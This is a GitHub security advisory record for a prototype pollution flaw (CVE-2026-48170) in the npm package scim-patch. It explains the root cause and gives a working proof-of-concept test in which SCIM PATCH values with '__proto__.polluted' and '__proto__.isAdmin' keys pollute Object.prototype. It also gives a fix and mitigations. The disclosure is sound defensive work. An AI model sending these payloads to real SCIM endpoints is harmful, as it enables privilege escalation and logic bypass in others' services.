{"id":"GHSA-9m6g-wc8r-q59c","summary":"scimPatch vulnerable to prototype pollution via unfiltered keys in patch","details":"## Summary\n\n`scim-patch` performs prototype pollution when applying a SCIM PATCH operation whose `value` object contains a key like `\"__proto__.someProp\"`. After one such patch,\n`Object.prototype.someProp` is set process-wide, affecting every plain object in the Node process.\n\nAny service that calls `scimPatch()` on attacker-controlled JSON (i.e. any SCIM endpoint accepting `PATCH` from an external IdP) is exploitable on a stock Node runtime.\n\n## Impact\n\n- **Class:** Prototype pollution ([CWE-1321](https://cwe.mitre.org/data/definitions/1321.html))\n- **Affected versions:** `\u003c= 0.9.0` (current HEAD `871b1e2`)\n- **Attack vector:** Network — sent as part of a normal SCIM `PATCH /Users/:id` request body.\n- **Privileges required:** Whatever the SCIM endpoint requires. For most integrations that's a provisioned IdP, which is \"low\" in CVSS terms (any authenticated provisioning client).\n- **Scope:** Changed — the bug is in a SCIM library but the side effect (`Object.prototype` mutation) leaks into the entire Node process.\n\nDownstream consequences depend on what other code reads from plain objects. Realistic outcomes observed in similar bugs:\n- **Privilege escalation** if any auth/middleware code checks `actor.isAdmin` / `req.user.admin` / similar boolean flags against a plain object that *expects* the key to be absent.\n- **Logic bypass / DoS** if any code branches on `obj.name`, `obj.type`, `obj.id` etc. against plain objects (e.g. `pg`'s prepared-statement naming check — a real incident at one consumer).\n- **Persistence:** lasts until the Node process restarts, so the blast radius is *every* request that container handles after the pollution.\n\n## Root cause\n\nIn `src/scimPatch.ts:415-427`, `addOrReplaceObjectAttribute` iterates the user-supplied `patch.value` with `Object.entries` and feeds each key to `resolvePaths`, which splits on `.`:\n\n```ts\nfunction addOrReplaceObjectAttribute(property: any, patch: ScimPatchAddReplaceOperation, multiValuedPathFilter?: boolean): any {\n    if (typeof patch.value !== 'object') { ... }\n\n    // src/scimPatch.ts:423-427\n    for (const [key, value] of Object.entries(patch.value)) {\n        assign(property, resolvePaths(key), value, patch.op);\n    }\n    return property;\n}\n```\n\n`assign` then walks the resulting key path with no filtering on dangerous keys (`src/scimPatch.ts:437-445`):\n\n```ts\nfunction assign(obj: any, keyPath: Array\u003cstring\u003e, value: any, op: string) {\n    const lastKeyIndex = keyPath.length - 1;\n    for (let i = 0; i \u003c lastKeyIndex; ++i) {\n        const key = keyPath[i];\n        if (!(key in obj)) {\n            obj[key] = {};\n        }\n        obj = obj[key];   // ← obj[\"__proto__\"] === Object.prototype\n    }\n    // ... assigns into Object.prototype\n}\n```\n\nFor `keyPath = [\"__proto__\", \"polluted\"]`:\n- `\"__proto__\" in obj` is always true, so the fresh-object branch is skipped.\n- `obj = obj[\"__proto__\"]` now points to `Object.prototype`.\n- The final write lands on `Object.prototype.polluted`.\n\nThe same shape works for `constructor.prototype` keys.\n\n## Proof of concept\n\nDrop this in `test/prototypePollution.test.ts` and run `npm run build && npx mocha lib/test/prototypePollution.test.js`. Both tests pass against HEAD `871b1e2`:\n\n```ts\nimport { scimPatch } from '../src/scimPatch';\nimport { ScimUser } from './types/types.test';\nimport { expect } from 'chai';\n\ndescribe('Prototype pollution via scim-patch', () =\u003e {\n    let scimUser: ScimUser;\n\n    beforeEach(() =\u003e {\n        scimUser = JSON.parse(`{\n          \"schemas\": [\"urn:ietf:params:scim:schemas:core:2.0:User\"],\n          \"id\": \"tea_4\",\n          \"userName\": \"spiderman\",\n          \"name\": { \"familyName\": \"Parker\", \"givenName\": \"Peter\" },\n          \"active\": true,\n          \"emails\": [{ \"value\": \"spiderman@superheroes.com\", \"primary\": true }],\n          \"roles\": [],\n          \"meta\": { \"resourceType\": \"User\", \"created\": \"x\", \"lastModified\": \"x\", \"location\": \"x\" }\n        }`);\n    });\n\n    afterEach(() =\u003e {\n        delete (Object.prototype as any).polluted;\n        delete (Object.prototype as any).isAdmin;\n    });\n\n    it('pollutes Object.prototype via a value-key containing __proto__', () =\u003e {\n        expect(({} as any).polluted).to.equal(undefined);\n\n        scimPatch(scimUser, [{\n            op: 'add',\n            path: 'name',\n            value: { '__proto__.polluted': 'yes' }\n        }]);\n\n        expect((Object.prototype as any).polluted).to.equal('yes');\n        expect(({} as any).polluted).to.equal('yes');\n    });\n\n    it('elevates Object.prototype.isAdmin — the admin-escalation shape', () =\u003e {\n        expect(({} as any).isAdmin).to.equal(undefined);\n\n        scimPatch(scimUser, [{\n            op: 'add',\n            path: 'name',\n            value: { '__proto__.isAdmin': true }\n        }]);\n\n        expect((Object.prototype as any).isAdmin).to.equal(true);\n        expect(({} as any).isAdmin).to.equal(true);\n    });\n});\n```\n\n## Suggested fix\n\nReject the three dangerous keys in `assign()` before the walk. Minimal patch:\n\n```ts\nconst DANGEROUS_KEYS = new Set(['__proto__', 'constructor', 'prototype']);\n\nfunction assign(obj: any, keyPath: Array\u003cstring\u003e, value: any, op: string) {\n    for (const key of keyPath) {\n        if (DANGEROUS_KEYS.has(key)) {\n            throw new InvalidScimPatchOp(`Forbidden key in patch path: ${key}`);\n        }\n    }\n    // ... existing logic\n}\n```\n\nAlternative, slightly safer: switch the walk target to `Object.create(null)` nodes when creating intermediate objects, and use `Object.defineProperty(obj, key, { value, enumerable: true, configurable: true, writable: true })` instead of `obj[key] = value` for the final write. That defends against future prototype-walking sinks even if a key sneaks past the denylist.\n\nEither approach is a non-breaking change — legitimate SCIM clients never send these keys.\n\n## Mitigation for consumers who can't upgrade immediately\n\nCalling `Object.freeze(Object.prototype)` (and the same on `Array.prototype`, `Function.prototype`) at process startup neutralizes this class of bug — assignment to a frozen prototype becomes a silent no-op in sloppy mode or a `TypeError` in strict mode. Node's `--frozen-intrinsics` flag does this for built-ins automatically.\n\n## Credit\n\nDiscovered by **Lee Wang (Notion)**. Reported by **David Wu (Notion)**.\n\nReport authored by **Claude**. Reviewed by **David Wu**.","aliases":["CVE-2026-48170"],"modified":"2026-06-22T23:11:37.300221Z","published":"2026-06-22T22:57:48Z","database_specific":{"cwe_ids":["CWE-1321"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-06-22T22:57:48Z","nvd_published_at":null},"references":[{"type":"WEB","url":"https://github.com/thomaspoignant/scim-patch/security/advisories/GHSA-9m6g-wc8r-q59c"},{"type":"WEB","url":"https://github.com/thomaspoignant/scim-patch/commit/260f9cd2ac5ceac3976978850bb47dcb391720f6"},{"type":"PACKAGE","url":"https://github.com/thomaspoignant/scim-patch"}],"affected":[{"package":{"name":"scim-patch","ecosystem":"npm","purl":"pkg:npm/scim-patch"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.9.1"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 0.9.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-9m6g-wc8r-q59c/GHSA-9m6g-wc8r-q59c.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:L"}]}